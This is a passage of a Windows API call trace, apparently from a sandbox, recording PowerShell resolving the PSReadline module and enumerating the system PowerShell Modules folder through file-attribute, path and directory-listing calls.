[0159.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0159.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0159.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0159.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0159.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0159.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0159.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.825] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab9e6d8 | out: lpFileInformation=0x1cbdab9e6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0159.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0159.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0159.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.825] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0159.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0159.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0159.826] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0159.826] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0159.826] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0159.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.826] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab9e9b8 | out: lpFileInformation=0x1cbdab9e9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0159.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.826] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psd1")) returned 0xffffffff [0159.826] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psm1")) returned 0xffffffff [0159.826] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.cdxml")) returned 0xffffffff [0159.826] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.xaml")) returned 0xffffffff [0159.826] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.ni.dll")) returned 0xffffffff [0159.827] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.dll")) returned 0xffffffff [0159.828] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0159.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.829] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0159.829] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0159.829] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5323bacf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5323bacf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a24890 [0159.830] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5323bacf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5323bacf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.830] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbe3ca03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppBackgroundTask", cAlternateFileName="APPBAC~1")) returned 1 [0159.830] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbe3d0e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86a9bef, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLocker", cAlternateFileName="APPLOC~1")) returned 1 [0159.830] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvClient", cAlternateFileName="APPVCL~1")) returned 1 [0159.831] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx", cAlternateFileName="")) returned 1 [0159.831] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssignedAccess", cAlternateFileName="ASSIGN~1")) returned 1 [0159.831] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitLocker", cAlternateFileName="BITLOC~1")) returned 1 [0159.831] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff18fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0159.831] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbff1c72, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache", cAlternateFileName="BRANCH~1")) returned 1 [0159.831] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff21c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0159.832] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConfigCI", cAlternateFileName="")) returned 1 [0159.832] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff380e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Defender", cAlternateFileName="")) returned 1 [0159.832] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff3c0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeliveryOptimization", cAlternateFileName="DELIVE~1")) returned 1 [0159.832] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc08f2e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectAccessClientComponents", cAlternateFileName="DIRECT~1")) returned 1 [0159.832] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dism", cAlternateFileName="")) returned 1 [0159.833] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc090fdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DnsClient", cAlternateFileName="DNSCLI~1")) returned 1 [0159.833] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f1ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventTracingManagement", cAlternateFileName="EVENTT~1")) returned 1 [0159.833] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="International", cAlternateFileName="INTERN~1")) returned 1 [0159.833] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130082, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI", cAlternateFileName="")) returned 1 [0159.833] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130565, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0159.833] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kds", cAlternateFileName="")) returned 1 [0159.834] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0159.834] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132049, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0159.834] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132470, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0159.834] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc13289f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1826502a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.LocalAccounts", cAlternateFileName="MICROS~1.LOC")) returned 1 [0159.834] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0159.835] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0159.835] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212127, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0159.835] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0159.835] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212c4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0159.835] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc213093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, 